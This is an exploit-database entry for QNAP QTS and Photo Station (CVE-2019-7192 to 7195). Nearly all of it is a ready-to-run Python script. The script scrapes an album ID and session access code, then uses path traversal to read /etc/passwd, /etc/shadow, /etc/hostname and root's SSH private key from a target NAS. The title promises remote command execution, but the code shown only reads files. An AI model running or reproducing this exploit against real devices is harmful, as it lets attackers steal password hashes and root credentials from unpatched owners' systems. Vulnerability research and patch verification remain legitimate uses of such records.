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QNAP QTS and Photo Station 6.0.3 - Remote Command Execution

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Ken1Ve

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# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution
# Exploit Author: Yunus YILDIRIM (Th3Gundy)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Date: 2020-05-28
# Vendor Homepage: https://www.qnap.com
# Version: QTS < 4.4.1 |  Photo Station < 6.0.3
# CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
# References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
# References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e
# References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25

######################################################################
######################################################################

#!/usr/bin/python3

__author__  = "Yunus YILDIRIM (@Th3Gundy)"
__version__ = "0.1"


import requests
import re, sys

# hide ssl error
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def get_banner():
    print("""\033[91m
  █████   ███▄    █  ▄▄▄       ██▓███  
▒██▓  ██▒ ██ ▀█   █ ▒████▄    ▓██░  ██▒
▒██▒  ██░▓██  ▀█ ██▒▒██  ▀█▄  ▓██░ ██▓▒
░██  █▀ ░▓██▒  ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒
░▒███▒█▄ ▒██░   ▓██░ ▓█   ▓██▒▒██▒ ░  ░
░░ ▒▒░ ▒ ░ ▒░   ▒ ▒  ▒▒   ▓▒█░▒▓▒░ ░  ░
 ░ ▒░  ░ ░ ░░   ░ ▒░  ▒   ▒▒ ░░▒ ░     
   ░   ░    ░   ░ ░   ░   ▒   ░░       
    ░             ░       ░  ░  \033[0m     \033[94m {0} \033[0m
    """.format(__author__))


def get_file_content(file):
    post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
    file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)

    print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text))

# print banner
get_banner()

if len(sys.argv) != 2:
    print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m")
    sys.exit(-1)
    
url = sys.argv[1].rstrip('/')
headers = {"User-Agent": "Gundy - QNAP RCE"}

# for session cookie
req = requests.Session()

#######################################################################
# search album_id

print("="*65)
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)

if album_id_response.status_code != 200:
    print("album id not found \n\033[91mnot vulnerable\033[0m")
    sys.exit(0)
    
album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()

print("album_id     ==>  " + album_id)

#######################################################################
# search $_SESSION['access_code'] 

access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
if access_code_response.status_code != 200:
    print("slideshow not found \n\033[91mnot vulnerable\033[0m")
    sys.exit(0)
    
access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()

print("access_code  ==>  " + access_code)

#######################################################################

# /etc/passwd file read
get_file_content('./../../../../../etc/passwd')

# /etc/shadow read
get_file_content('./../../../../../etc/shadow')

# /etc/hostname read
get_file_content('./../../../../../etc/hostname')

# /root/.ssh/id_rsa read
get_file_content('./../../../../../root/.ssh/id_rsa')

#######################################################################
            
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